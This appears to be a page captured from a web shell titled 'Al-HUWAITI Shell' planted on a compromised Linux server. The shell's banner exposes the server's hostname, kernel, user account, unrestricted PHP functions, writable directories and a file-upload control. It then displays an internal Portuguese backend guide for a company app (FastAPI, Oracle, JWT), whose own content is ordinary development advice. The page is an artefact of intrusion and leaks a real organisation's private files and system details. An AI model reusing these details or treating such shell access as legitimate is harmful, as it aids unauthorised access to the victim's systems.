Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.3.33
Disable Function : NONE
Directory :  /proc/thread-self/root/opt/dash_backend/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/opt/dash_backend/docs/BackendGuide.md
# Dash Mobile Diretoria — Backend Guide

## Stack Backend

O backend utiliza:

* Python
* FastAPI
* Uvicorn
* Oracle
* JWT
* Pydantic
* API REST

## Responsabilidades do Backend

O backend é responsável por:

* autenticar usuários;
* validar tokens JWT;
* consultar dados no Oracle;
* executar regras de negócio;
* retornar dados em JSON para o app Flutter;
* centralizar segurança e acesso ao banco.

## Regras para Endpoints

Ao criar ou alterar endpoints:

* manter compatibilidade com endpoints existentes;
* manter nomes de campos usados pelo Flutter;
* usar HTTPException para erros controlados;
* não expor erro bruto do Oracle para o app;
* validar parâmetros recebidos;
* proteger endpoints com JWT quando necessário;
* retornar JSON simples e previsível.

## Regras para Oracle

Ao alterar queries:

* preservar filtros existentes;
* preservar joins existentes;
* preservar cálculos;
* preservar aliases;
* preservar ordenações;
* usar bind variables;
* evitar SQL injection;
* não concatenar parâmetros diretamente no SQL.

## Autenticação JWT

O JWT deve ser usado para proteger endpoints privados.

Boas práticas:

* segredo JWT vindo de variável de ambiente;
* tempo de expiração configurável;
* tratamento de token expirado;
* tratamento de token inválido;
* retorno claro para sessão expirada no app.

## Tratamento de Erros

O backend deve tratar:

* erro de conexão Oracle;
* erro de query;
* token expirado;
* token inválido;
* usuário não autorizado;
* parâmetros inválidos;
* ausência de dados.

## Logs

Registrar logs para:

* falhas de login;
* falhas de conexão;
* exceções em endpoints;
* erros críticos de query;
* comportamento inesperado em produção.

Não registrar senha, token JWT completo ou dados sensíveis.

Al-HUWAITI Shell